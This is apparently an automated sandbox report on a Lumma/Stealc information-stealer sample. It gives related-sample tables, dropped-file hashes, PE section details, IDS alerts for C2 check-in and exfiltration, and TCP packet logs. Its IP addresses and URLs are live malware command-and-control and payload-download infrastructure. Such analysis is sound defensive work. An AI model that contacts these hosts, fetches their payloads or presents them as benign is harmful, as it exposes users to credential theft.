Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target 0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe, PID 8156 because there are no executed function
Execution Graph export aborted for target NE4jxHLxXJ.exe, PID 7580 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryDirectoryFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:03:51	API Interceptor	23x Sleep call for process: NE4jxHLxXJ.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
172.67.199.72	U8mbM8r793.exe	Get hash	malicious	LummaC, Stealc	Browse
185.215.113.206	U8mbM8r793.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	ABnDy7rLFS.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	s31ydU1MpQ.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	20yLTIU4mS.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	Qsqi9KQXgy.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206/c4becf79229cb002.php
	uLkHEqZ3u3.exe	Get hash	malicious	LummaC, Amadey, Babadeda, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206/c4becf79229cb002.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206/68b591d6548ec281/vcruntime140.dll
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206/c4becf79229cb002.php
	hBBxlxfQ3F.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	uDTW3VjJJT.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
185.215.113.16	U8mbM8r793.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16/steam/random.exe
	ABnDy7rLFS.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16/steam/random.exe
	s31ydU1MpQ.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16/steam/random.exe
	20yLTIU4mS.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16/steam/random.exe
	Qsqi9KQXgy.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	uLkHEqZ3u3.exe	Get hash	malicious	LummaC, Amadey, Babadeda, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	185.215.113.16/luma/random.exe
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Vidar, Xmrig	Browse	185.215.113.16/steam/random.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
observerfry.lat	U8mbM8r793.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.199.72
	ABnDy7rLFS.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.36.201
	skIYOAOzvU.exe	Get hash	malicious	LummaC	Browse	104.21.36.201

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	U8mbM8r793.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.199.72
	ABnDy7rLFS.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.36.201
	skIYOAOzvU.exe	Get hash	malicious	LummaC	Browse	104.21.36.201
	NfwBtCx5PR.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	pJRiqnTih0.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	xxLuwS60RS.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	schost.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.6.116
	5RjjCWZAVv.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	s31ydU1MpQ.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.66.86
	TmmiCE5Ulm.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
WHOLESALECONNECTIONSNL	U8mbM8r793.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	ABnDy7rLFS.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	s31ydU1MpQ.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	20yLTIU4mS.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	Qsqi9KQXgy.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	uLkHEqZ3u3.exe	Get hash	malicious	LummaC, Amadey, Babadeda, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	185.215.113.43
WHOLESALECONNECTIONSNL	U8mbM8r793.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	ABnDy7rLFS.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	s31ydU1MpQ.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	20yLTIU4mS.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	Qsqi9KQXgy.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	uLkHEqZ3u3.exe	Get hash	malicious	LummaC, Amadey, Babadeda, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	185.215.113.43

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	OGBLsboKIF.exe	Get hash	malicious	LummaC	Browse	172.67.199.72
	U8mbM8r793.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.199.72
	ABnDy7rLFS.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.199.72
	skIYOAOzvU.exe	Get hash	malicious	LummaC	Browse	172.67.199.72
	NfwBtCx5PR.exe	Get hash	malicious	LummaC	Browse	172.67.199.72
	spoolsv.COM.exe	Get hash	malicious	DBatLoader	Browse	172.67.199.72
	pJRiqnTih0.exe	Get hash	malicious	LummaC	Browse	172.67.199.72
	5XXofntDiN.exe	Get hash	malicious	LummaC	Browse	172.67.199.72
	xxLuwS60RS.exe	Get hash	malicious	LummaC	Browse	172.67.199.72
	schost.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.199.72

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe	U8mbM8r793.exe	Get hash	malicious	LummaC, Stealc	Browse
	ABnDy7rLFS.exe	Get hash	malicious	LummaC, Stealc	Browse
	s31ydU1MpQ.exe	Get hash	malicious	LummaC, Stealc	Browse
C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	U8mbM8r793.exe	Get hash	malicious	LummaC, Stealc	Browse
	ABnDy7rLFS.exe	Get hash	malicious	LummaC, Stealc	Browse
	s31ydU1MpQ.exe	Get hash	malicious	LummaC, Stealc	Browse
	20yLTIU4mS.exe	Get hash	malicious	LummaC, Stealc	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Temp\0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe

Download File

Process:	C:\Users\user\Desktop\NE4jxHLxXJ.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2907648
Entropy (8bit):	6.49495175315163
Encrypted:	false
SSDEEP:	49152:sClAvSx/8MLHGbScHSJtB9YfkahghnWxS30m:sClaSx/8Mb8SQpk0gv0m
MD5:	880F67C30D6C2335273B27DF0004F500
SHA1:	D340D73B98A457D26180D69C28486F4D0CB98432
SHA-256:	3ACD04016A0846F4E6C69D4684AC0A21DC476E63F8E7957FC73CA58C90F40857
SHA-512:	346C038AA380B6467417D01D9FAE63BB55424886C85AC42CF98E2C9FE851C55C31BC4B46096CC793233409366C9752325C20C8FF5150EAEB8184B54EC7878CCC
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Joe Sandbox View:	Filename: U8mbM8r793.exe, Detection: malicious, Browse Filename: ABnDy7rLFS.exe, Detection: malicious, Browse Filename: s31ydU1MpQ.exe, Detection: malicious, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... ...d..d..d....s.\|....F.i....r.^..m.[.g..m.K.b....g..d.......w.w....E.e..Richd..........PE..L....dTg.....................(........O...........@...........................O......(-...@.................................M.$.a.....$.......................$..................................................................................... . ..$......h..................@....rsrc.........$......x..............@....idata ......$......z..............@...wwqufnsk.....$.....\|..............@...dutjqjqn......O......8,.............@....taggant.0....O.."...<,.............@...........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe

Download File

Process:	C:\Users\user\Desktop\NE4jxHLxXJ.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2845696
Entropy (8bit):	6.494034362810024
Encrypted:	false
SSDEEP:	49152:sdomgbbzf500GbWP4ojGUBGuQDflvB2g+xUwGs:o5gbHRlGbWPkUBMf1B2zUBs
MD5:	97B29CE33CCFE8A2B642BD236A0DD337
SHA1:	05B326F85C0043014BCB17F3C937C82CD591ABE6
SHA-256:	D8DB10ABDB18394FA74BFB00C68A6AE1A40DE13CF5D0A6620A9A2F1D4571351D
SHA-512:	2F2B996A02C91911F90E7842FBEDF7E51EEA044D9369D98F72DCBAE6EDD8658F137A3F027DD02851C021555D69676CD98123A6F0B86E8AF5E2A31CA71639CFFB
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Joe Sandbox View:	Filename: U8mbM8r793.exe, Detection: malicious, Browse Filename: ABnDy7rLFS.exe, Detection: malicious, Browse Filename: s31ydU1MpQ.exe, Detection: malicious, Browse Filename: 20yLTIU4mS.exe, Detection: malicious, Browse
Reputation:	low
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$............+.. ...`....@.. ........................+......I,...`.................................U...i....`..D........................................................................................................... . .@... ...@... ..............@....rsrc...D....`.......`..............@....idata . ...........f..............@...tnrxecbv...........h..............@...anayjrgy. ....+......F+.............@....taggant.@....+.."...J+.............@...................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.948869485217158
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	NE4jxHLxXJ.exe
File size:	1'868'288 bytes
MD5:	1b0c09be5351f6e71f287bf2833228f6
SHA1:	382fdfebb4f397874c44713273ebc068167f629b
SHA256:	8fdd31b8824ba67f540499cd9aa56963ecaba5e807f7c545f13704a6c6258d18
SHA512:	989ed12551b31be1e7f0b5de5c12a46ec858880f46e9200162803a015a36a364f44a341de26b0c701314e4ac40fdef738fe729162a5e309c1c758f1dff59d9df
SSDEEP:	49152:AApfQse3C3CBv56vwEmCQ0nHllSSdzw0Bfid/rx:AcfQsQCpfmMnHlDw0wd/rx
TLSH:	9A8533F30AAE68F4D90B57FF4F97358721FDEE2EAA05F91E5189609B807F51471280A0
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....<_g.............................0J...........@..........................`J......\....@.................................T0..h..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x8a3000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x675F3CD1 [Sun Dec 15 20:32:17 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F3A808E779Ah
punpcklbw mm3, qword ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F3A808E9795h
add byte ptr [edx+ecx], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop ds
add byte ptr [eax+000000FEh], ah
add byte ptr [edx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ebx], cl
or al, byte ptr [eax]
add byte ptr [edi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x53054	0x68	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x52000	0x1ac	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x531f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x51000	0x24800	f35624ba9369aab6a76140ca1a1e5a21	False	0.9972843535958904	data	7.9783242272565635	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x52000	0x1ac	0x200	75720b8ea60aa06a31806981b744f74e	False	0.5390625	data	5.245569576626531	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x53000	0x1000	0x200	19a29171433eeef17e42fd663f137134	False	0.14453125	data	0.9996515881509258	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x54000	0x2ae000	0x200	5fcc28988d7ea1295593068351bbce00	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
qnewshqh	0x302000	0x1a0000	0x19fc00	4ff0ab4779fdc1457dc2e0f919fe509e	False	0.9948259217152736	data	7.954331710673265	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
pfgmrkfz	0x4a2000	0x1000	0x600	deb6d852cd6a4f48c7507deff3536fca	False	0.53515625	data	4.747074341566663	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4a3000	0x3000	0x2200	915d0fc4d94ea63f457eacc352779d4e	False	0.060317095588235295	DOS executable (COM)	0.7763330546411973	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x52058	0x152	ASCII text, with CRLF line terminators			0.6479289940828402

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-23T08:03:51.521935+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49705	172.67.199.72	443	TCP
2024-12-23T08:03:52.468201+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.8	49705	172.67.199.72	443	TCP
2024-12-23T08:03:52.468201+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	49705	172.67.199.72	443	TCP
2024-12-23T08:03:53.695131+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49706	172.67.199.72	443	TCP
2024-12-23T08:03:54.465058+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.8	49706	172.67.199.72	443	TCP
2024-12-23T08:03:54.465058+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	49706	172.67.199.72	443	TCP
2024-12-23T08:03:56.235357+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49707	172.67.199.72	443	TCP
2024-12-23T08:03:58.498365+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49708	172.67.199.72	443	TCP
2024-12-23T08:04:00.893990+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49709	172.67.199.72	443	TCP
2024-12-23T08:04:03.594851+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49710	172.67.199.72	443	TCP
2024-12-23T08:04:04.363689+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.8	49710	172.67.199.72	443	TCP
2024-12-23T08:04:06.149641+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49713	172.67.199.72	443	TCP
2024-12-23T08:04:09.695409+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49715	172.67.199.72	443	TCP
2024-12-23T08:04:10.464747+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	49715	172.67.199.72	443	TCP
2024-12-23T08:04:11.929823+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.8	49716	185.215.113.16	80	TCP
2024-12-23T08:04:26.322895+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.8	49717	185.215.113.206	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 23, 2024 08:03:50.296596050 CET	49705	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:03:50.296636105 CET	443	49705	172.67.199.72	192.168.2.8
Dec 23, 2024 08:03:50.296740055 CET	49705	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:03:50.300003052 CET	49705	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:03:50.300019026 CET	443	49705	172.67.199.72	192.168.2.8
Dec 23, 2024 08:03:51.521847963 CET	443	49705	172.67.199.72	192.168.2.8
Dec 23, 2024 08:03:51.521934986 CET	49705	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:03:51.524846077 CET	49705	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:03:51.524853945 CET	443	49705	172.67.199.72	192.168.2.8
Dec 23, 2024 08:03:51.525194883 CET	443	49705	172.67.199.72	192.168.2.8
Dec 23, 2024 08:03:51.574444056 CET	49705	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:03:51.718153000 CET	49705	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:03:51.718184948 CET	49705	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:03:51.718381882 CET	443	49705	172.67.199.72	192.168.2.8
Dec 23, 2024 08:03:52.468250036 CET	443	49705	172.67.199.72	192.168.2.8
Dec 23, 2024 08:03:52.468535900 CET	443	49705	172.67.199.72	192.168.2.8
Dec 23, 2024 08:03:52.468621016 CET	49705	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:03:52.470781088 CET	49705	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:03:52.470803022 CET	443	49705	172.67.199.72	192.168.2.8
Dec 23, 2024 08:03:52.480822086 CET	49706	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:03:52.480854034 CET	443	49706	172.67.199.72	192.168.2.8
Dec 23, 2024 08:03:52.480978012 CET	49706	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:03:52.481230021 CET	49706	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:03:52.481245041 CET	443	49706	172.67.199.72	192.168.2.8
Dec 23, 2024 08:03:53.694956064 CET	443	49706	172.67.199.72	192.168.2.8
Dec 23, 2024 08:03:53.695131063 CET	49706	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:03:53.696305990 CET	49706	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:03:53.696331024 CET	443	49706	172.67.199.72	192.168.2.8
Dec 23, 2024 08:03:53.696576118 CET	443	49706	172.67.199.72	192.168.2.8
Dec 23, 2024 08:03:53.697901011 CET	49706	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:03:53.697901011 CET	49706	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:03:53.697967052 CET	443	49706	172.67.199.72	192.168.2.8
Dec 23, 2024 08:03:54.465050936 CET	443	49706	172.67.199.72	192.168.2.8
Dec 23, 2024 08:03:54.465116978 CET	443	49706	172.67.199.72	192.168.2.8
Dec 23, 2024 08:03:54.465152025 CET	443	49706	172.67.199.72	192.168.2.8
Dec 23, 2024 08:03:54.465188980 CET	443	49706	172.67.199.72	192.168.2.8
Dec 23, 2024 08:03:54.465219975 CET	49706	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:03:54.465225935 CET	443	49706	172.67.199.72	192.168.2.8
Dec 23, 2024 08:03:54.465235949 CET	443	49706	172.67.199.72	192.168.2.8
Dec 23, 2024 08:03:54.465244055 CET	49706	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:03:54.465275049 CET	49706	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:03:54.465281963 CET	443	49706	172.67.199.72	192.168.2.8
Dec 23, 2024 08:03:54.476829052 CET	443	49706	172.67.199.72	192.168.2.8
Dec 23, 2024 08:03:54.476928949 CET	49706	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:03:54.476938963 CET	443	49706	172.67.199.72	192.168.2.8
Dec 23, 2024 08:03:54.483643055 CET	443	49706	172.67.199.72	192.168.2.8
Dec 23, 2024 08:03:54.483711958 CET	49706	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:03:54.483720064 CET	443	49706	172.67.199.72	192.168.2.8
Dec 23, 2024 08:03:54.527414083 CET	49706	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:03:54.527424097 CET	443	49706	172.67.199.72	192.168.2.8
Dec 23, 2024 08:03:54.574327946 CET	49706	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:03:54.656960964 CET	443	49706	172.67.199.72	192.168.2.8
Dec 23, 2024 08:03:54.661005974 CET	443	49706	172.67.199.72	192.168.2.8
Dec 23, 2024 08:03:54.661041975 CET	443	49706	172.67.199.72	192.168.2.8
Dec 23, 2024 08:03:54.661087990 CET	49706	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:03:54.661098003 CET	443	49706	172.67.199.72	192.168.2.8
Dec 23, 2024 08:03:54.661138058 CET	443	49706	172.67.199.72	192.168.2.8
Dec 23, 2024 08:03:54.661148071 CET	49706	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:03:54.661212921 CET	49706	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:03:54.688462973 CET	49706	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:03:54.688481092 CET	443	49706	172.67.199.72	192.168.2.8
Dec 23, 2024 08:03:55.020941019 CET	49707	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:03:55.020982027 CET	443	49707	172.67.199.72	192.168.2.8
Dec 23, 2024 08:03:55.021075964 CET	49707	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:03:55.021372080 CET	49707	443	192.168.2.8	172.67.199.72
Dec 23, 2024 08:03:55.021385908 CET	443	49707	172.67.199.72	192.168.2.8
